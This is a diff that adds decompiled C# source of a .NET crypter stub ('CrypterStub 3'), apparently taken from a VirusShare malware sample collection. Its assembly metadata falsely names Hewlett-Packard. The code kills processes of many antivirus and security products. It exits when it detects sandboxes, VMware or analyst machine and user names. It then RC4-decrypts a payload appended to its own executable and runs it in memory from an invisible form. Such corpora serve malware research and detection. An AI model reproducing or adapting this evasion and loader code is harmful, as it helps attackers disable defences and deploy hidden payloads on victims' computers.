+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "cpf", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiEwido()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ewido", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiFPROT6()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "FPAVServer", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiKaspersky()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "kavsvc", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiBullGuard()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "BullGuard", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiZoneAlarm()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "VSMON", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiAntiGen()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "antigen", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiNorton()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ccapp", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiOfficeScan()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "tmlisten", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiPCCillin()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "pccntmon", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiServerProtect()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "earthagent", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiSpySweeper()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "spysweeper", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiVirtualPC()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "vpcmapvmsrvc", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiOutPost()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "acs.exe", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiEstNod32()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "nod32.exenod32krn.exeekrn.exe", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    [DllImport("user32", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)]
+    private static extern long FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName);
+
+    public static void mofo()
+    {
+      Antis.seekit("MSASCui");
+      Antis.seekit("msmpeng");
+      Antis.AntiSandboxie();
+      Antis.IsVmWare();
+      Antis.AntiThreatExpert();
+      Antis.checkUsername();
+      Antis.checkComputername();
+    }
+
+    private static void seekit(string gay1)
+    {
+      Process[] processes = Process.GetProcesses();
+      int index = 0;
+      while (index < processes.Length)
+      {
+        Process process = processes[index];
+        if (process.ProcessName.Contains(gay1))
+        {
+          try
+          {
+            process.Kill();
+          }
+          catch (Exception ex)
+          {
+            ProjectData.SetProjectError(ex);
+            ProjectData.ClearProjectError();
+          }
+        }
+        checked { ++index; }
+      }
+    }
+
+    private static void checkUsername()
+    {
+      List<string> stringList = new List<string>();
+      stringList.Add("UserName");
+      stringList.Add("User");
+      stringList.Add("honey");
+      stringList.Add("sandbox");
+      stringList.Add("currentuser");
+      stringList.Add("User");
+      try
+      {
+        foreach (string Right in stringList)
+        {
+          if (Operators.CompareString(Environment.UserName, Right, false) == 0)
+            Environment.Exit(0);
+        }
+      }
+      finally
+      {
+        List<string>.Enumerator enumerator;
+        enumerator.Dispose();
+      }
+    }
+
+    private static void checkComputername()
+    {
+      List<string> stringList = new List<string>();
+      stringList.Add("ComputerName");
+      stringList.Add("COMPUTERNAME");
+      stringList.Add("DELL-D3E62F7E26");
+      stringList.Add("DWI-9625AC2E275");
+      stringList.Add("MICHAEL-F156CF7");
+      try
+      {
+        foreach (string Right in stringList)
+        {
+          if (Operators.CompareString(Environment.MachineName, Right, false) == 0)
+            Environment.Exit(0);
+        }
+      }
+      finally
+      {
+        List<string>.Enumerator enumerator;
+        enumerator.Dispose();
+      }
+    }
+
+    public static void AntiSandboxie()
+    {
+      if (Process.GetProcessesByName("SbieSvc").Length < 1)
+        return;
+      Environment.Exit(0);
+    }
+
+    public static void IsVmWare()
+    {
+      string str1 = "VMDragDetectWndClass";
+      ref string local1 = ref str1;
+      string str2 = (string) null;
+      ref string local2 = ref str2;
+      if (Antis.FindWindow(ref local1, ref local2) != 0L)
+        return;
+      Environment.Exit(0);
+    }
+
+    private static void AntiThreatExpert()
+    {
+      if (!Process.GetCurrentProcess().MainModule.FileName.Contains("sample"))
+        return;
+      Environment.Exit(0);
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-5200ef86512f01d34559fa14e8c029b42e1f0073c66843229092ae4306de0407/AssemblyInfo.cs

@@ -0,0 +1,13 @@
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+[assembly: AssemblyProduct("CrypterStub 3")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyTitle("CrypterStub 3")]
+[assembly: AssemblyCompany("Hewlett-Packard")]
+[assembly: Guid("c219cd53-5179-42e0-bb74-5b297c74ecd1")]
+[assembly: AssemblyCopyright("Copyright © Hewlett-Packard 2010")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+[assembly: ComVisible(false)]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyVersion("1.0.0.0")]

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-5200ef86512f01d34559fa14e8c029b42e1f0073c66843229092ae4306de0407/Form1.cs

@@ -0,0 +1,152 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.Form1
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-5200ef86512f01d34559fa14e8c029b42e1f0073c66843229092ae4306de0407.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Drawing;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Text;
+using System.Threading;
+using System.Windows.Forms;
+
+namespace CrypterStub_3
+{
+  [DesignerGenerated]
+  public class Form1 : Form
+  {
+    private IContainer components;
+
+    [DebuggerNonUserCode]
+    public Form1()
+    {
+      this.Load += new EventHandler(this.Form1_Load);
+      this.InitializeComponent();
+    }
+
+    [DebuggerNonUserCode]
+    protected override void Dispose(bool disposing)
+    {
+      try
+      {
+        if (!disposing || this.components == null)
+          return;
+        this.components.Dispose();
+      }
+      finally
+      {
+        base.Dispose(disposing);
+      }
+    }
+
+    [DebuggerStepThrough]
+    private void InitializeComponent()
+    {
+      this.SuspendLayout();
+      this.AutoScaleDimensions = new SizeF(6f, 13f);
+      this.AutoScaleMode = AutoScaleMode.Font;
+      this.ClientSize = new Size(10, 10);
+      this.FormBorderStyle = FormBorderStyle.None;
+      this.MaximizeBox = false;
+      this.MinimizeBox = false;
+      this.Name = nameof (Form1);
+      this.Opacity = 0.0;
+      this.ShowIcon = false;
+      this.ShowInTaskbar = false;
+      this.StartPosition = FormStartPosition.Manual;
+      this.ResumeLayout(false);
+    }
+
+    private byte[] StringToByteArray(string str) => new ASCIIEncoding().GetBytes(str);
+
+    private void RunFromMemory(byte[] bytes)
+    {
+      Assembly assembly = Assembly.Load(bytes);
+      MethodInfo entryPoint = assembly.EntryPoint;
+      object objectValue = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(assembly.CreateInstance(entryPoint.Name))));
+      entryPoint.Invoke(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(objectValue))), new object[1]
+      {
+        (object) new string[1]{ "1" }
+      });
+    }
+
+    public static byte[] RC4EnDeCrypt(byte[] plaintxt, byte[] password)
+    {
+      byte[] numArray = new byte[checked (plaintxt.Length + 1)];
+      int[] sbox = new int[257];
+      int index1 = 0;
+      int index2 = 0;
+      Form1.RC4Initialize(password, ref sbox);
+      int num1 = checked (plaintxt.Length - 1);
+      int index3 = 0;
+      while (index3 <= num1)
+      {
+        index1 = checked (index1 + 1) % 256;
+        index2 = checked (index2 + sbox[index1]) % 256;
+        int num2 = sbox[index1];
+        sbox[index1] = sbox[index2];
+        sbox[index2] = num2;
+        int num3 = sbox[checked (sbox[index1] + sbox[index2]) % 256];
+        plaintxt[index3] = (byte) ((int) plaintxt[index3] ^ (int) Convert.ToByte(num3));
+        checked { ++index3; }
+      }
+      return plaintxt;
+    }
+
+    protected static void RC4Initialize(byte[] key, ref int[] sbox)
+    {
+      int length = key.Length;
+      int index1 = 0;
+      do
+      {
+        sbox[index1] = index1;
+        checked { ++index1; }
+      }
+      while (index1 <= (int) byte.MaxValue);
+      int index2 = 0;
+      int index3 = 0;
+      do
+      {
+        index2 = checked (index2 + sbox[index3] + (int) key[unchecked (index3 % length)]) % 256;
+        int num = sbox[index3];
+        sbox[index3] = sbox[index2];
+        sbox[index2] = num;
+        checked { ++index3; }
+      }
+      while (index3 <= (int) byte.MaxValue);
+    }
+
+    private void Form1_Load(object sender, EventArgs e)
+    {
+      string Delimiter = "~~||$CyCrYpTeR$||~~";
+      FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read);
+      string Expression = Strings.Space(checked ((int) FileSystem.LOF(1)));
+      FileSystem.FileGet(1, ref Expression);
+      FileSystem.FileClose(1);
+      try
+      {
+        string[] strArray = Strings.Split(Expression, Delimiter);
+        string s = strArray[1];
+        byte[] bytes = Encoding.ASCII.GetBytes(strArray[2]);
+        if (Operators.CompareString(strArray[3], "true", false) == 0)
+          Antis.Enable();
+        byte[] parameter = Form1.RC4EnDeCrypt(Convert.FromBase64String(s), bytes);
+        Thread thread = new Thread((ParameterizedThreadStart) (a0 => this.RunFromMemory((byte[]) a0)));
+        thread.TrySetApartmentState(ApartmentState.STA);
+        thread.Start((object) parameter);
+        this.Close();
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-5200ef86512f01d34559fa14e8c029b42e1f0073c66843229092ae4306de0407/Form1.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-5200ef86512f01d34559fa14e8c029b42e1f0073c66843229092ae4306de0407/My/MyApplication.cs

@@ -0,0 +1,48 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MyApplication
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-5200ef86512f01d34559fa14e8c029b42e1f0073c66843229092ae4306de0407.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Windows.Forms;
+
+namespace CrypterStub_3.My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  internal class MyApplication : WindowsFormsApplicationBase
+  {
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [DebuggerHidden]
+    [STAThread]
+    internal static void Main(string[] Args)
+    {
+      try
+      {
+        Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
+      }
+      finally
+      {
+      }
+      MyProject.Application.Run(Args);
+    }
+
+    [DebuggerStepThrough]
+    public MyApplication()
+      : base(AuthenticationMode.Windows)
+    {
+      this.IsSingleInstance = false;
+      this.EnableVisualStyles = true;
+      this.SaveMySettingsOnExit = true;
+      this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
+    }
+
+    [DebuggerStepThrough]
+    protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-5200ef86512f01d34559fa14e8c029b42e1f0073c66843229092ae4306de0407/My/MyComputer.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MyComputer
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-5200ef86512f01d34559fa14e8c029b42e1f0073c66843229092ae4306de0407.exe
+
+using Microsoft.VisualBasic.Devices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+
+namespace CrypterStub_3.My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  internal class MyComputer : Computer
+  {
+    [DebuggerHidden]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public MyComputer()
+    {
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-5200ef86512f01d34559fa14e8c029b42e1f0073c66843229092ae4306de0407/My/MyProject.cs

@@ -0,0 +1,212 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MyProject
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-5200ef86512f01d34559fa14e8c029b42e1f0073c66843229092ae4306de0407.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.Collections;
+using System.ComponentModel;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace CrypterStub_3.My
+{
+  [HideModuleName]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [StandardModule]
+  internal sealed class MyProject
+  {
+    private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
+    private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
+    private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
+
+    [DebuggerNonUserCode]
+    static MyProject()
+    {
+    }
+
+    [HelpKeyword("My.Computer")]
+    internal static MyComputer Computer
+    {
+      [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Application")]
+    internal static MyApplication Application
+    {
+      [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.User")]
+    internal static User User
+    {
+      [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Forms")]
+    internal static MyProject.MyForms Forms
+    {
+      [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.WebServices")]
+    internal static MyProject.MyWebServices WebServices
+    {
+      [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
+    }
+
+    [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class MyForms
+    {
+      public Form1 m_Form1;
+      [ThreadStatic]
+      private static Hashtable m_FormBeingCreated;
+
+      public Form1 Form1
+      {
+        [DebuggerNonUserCode] get
+        {
+          this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
+          return this.m_Form1;
+        }
+        [DebuggerNonUserCode] set
+        {
+          if (value == this.m_Form1)
+            return;
+          if (value != null)
+            throw new ArgumentException("Property can only be set to Nothing");
+          this.Dispose__Instance__<Form1>(ref this.m_Form1);
+        }
+      }
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T Instance) where T : Form, new()
+      {
+        if ((object) Instance != null && !Instance.IsDisposed)
+          return Instance;
+        if (MyProject.MyForms.m_FormBeingCreated != null)
+        {
+          if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
+            throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
+        }
+        else
+          MyProject.MyForms.m_FormBeingCreated = new Hashtable();
+        MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
+        try
+        {
+          return new T();
+        }
+        catch (TargetInvocationException ex) when (
+        {
+          // ISSUE: unable to correctly present filter
+          ProjectData.SetProjectError((Exception) ex);
+          if (ex.InnerException != null)
+          {
+            SuccessfulFiltering;
+          }
+          else
+            throw;
+        }
+        )
+        {
+          throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
+        }
+        finally
+        {
+          MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
+        }
+      }
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) where T : Form
+      {
+        instance.Dispose();
+        instance = default (T);
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public MyForms()
+      {
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyForms);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+    }
+
+    [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class MyWebServices
+    {
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyWebServices);
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public MyWebServices()
+      {
+      }
+    }
+
+    [ComVisible(false)]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class ThreadSafeObjectProvider<T> where T : new()
+    {
+      internal T GetInstance
+      {
+        [DebuggerHidden] get
+        {
+          if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
+            MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
+          return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
+        }
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public ThreadSafeObjectProvider()
+      {
+      }
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-5200ef86512f01d34559fa14e8c029b42e1f0073c66843229092ae4306de0407/My/MySettings.cs

@@ -0,0 +1,73 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MySettings
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-5200ef86512f01d34559fa14e8c029b42e1f0073c66843229092ae4306de0407.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Configuration;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Threading;
+
+namespace CrypterStub_3.My
+{
+  [CompilerGenerated]
+  [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
+  [EditorBrowsable(EditorBrowsableState.Advanced)]
+  internal sealed class MySettings : ApplicationSettingsBase
+  {
+    private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
+    private static bool addedHandler;
+    private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
+
+    [DebuggerNonUserCode]
+    public MySettings()
+    {
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [DebuggerNonUserCode]
+    private static void AutoSaveSettings(object sender, EventArgs e)
+    {
+      if (!MyProject.Application.SaveMySettingsOnExit)
+        return;
+      MySettingsProperty.Settings.Save();
+    }
+
+    public static MySettings Default
+    {
+      get
+      {
+        if (!MySettings.addedHandler)
+        {
+          object handlerLockObject = MySettings.addedHandlerLockObject;
+          ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
+          Monitor.Enter(handlerLockObject);
+          try
+          {
+            if (!MySettings.addedHandler)
+            {
+              MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
+              {
+                if (!MyProject.Application.SaveMySettingsOnExit)
+                  return;
+                MySettingsProperty.Settings.Save();
+              });
+              MySettings.addedHandler = true;
+            }
+          }
+          finally
+          {
+            Monitor.Exit(handlerLockObject);
+          }
+        }
